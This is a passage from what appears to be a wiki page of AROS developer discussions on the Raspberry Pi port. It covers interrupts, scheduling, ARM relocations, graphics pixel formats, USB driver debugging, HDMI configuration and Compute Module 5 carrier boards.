delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare 